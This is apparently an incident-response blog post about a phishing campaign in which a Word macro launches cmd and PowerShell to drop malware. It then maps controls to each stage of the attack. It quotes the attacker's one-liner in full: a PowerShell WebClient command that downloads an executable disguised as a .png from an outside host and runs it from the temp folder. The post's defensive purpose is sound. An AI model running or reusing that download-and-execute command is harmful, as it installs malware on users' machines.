Mapping Attack Methodology to Controls
Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script. When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses.
In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe
When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';
When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.
GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive
So let's map out controls we can put in place to prevent the attack lifecycle.
- Stopping delivery of the message (In order of $ and Complexity)
- Hold attachment for X number of hours so AV my catch up
- Convert file to another type (e.g. Word -> PDF)
- Mangle the macro in the file before delivery
- Sandbox the attachment before delivery
- Preventing Macros from running
- Disable macros via GPO
- Block users from Cmd.exe
- Use an Applocker policy to block cmd.exe
- Prevent Powershell from running unsigned scripts
- Lots of ways to bypass
- Prevent download of malware
- Use sinkhole/proxy ect.
- Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
- Applocker
Now by looking at this list you can determine what make sense in your environment due to technical or political issues. This exercise will have you prepared to answer the questions, how can we prevent this in the future. I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$).
--
Tom Webb
@twsecblog
Comments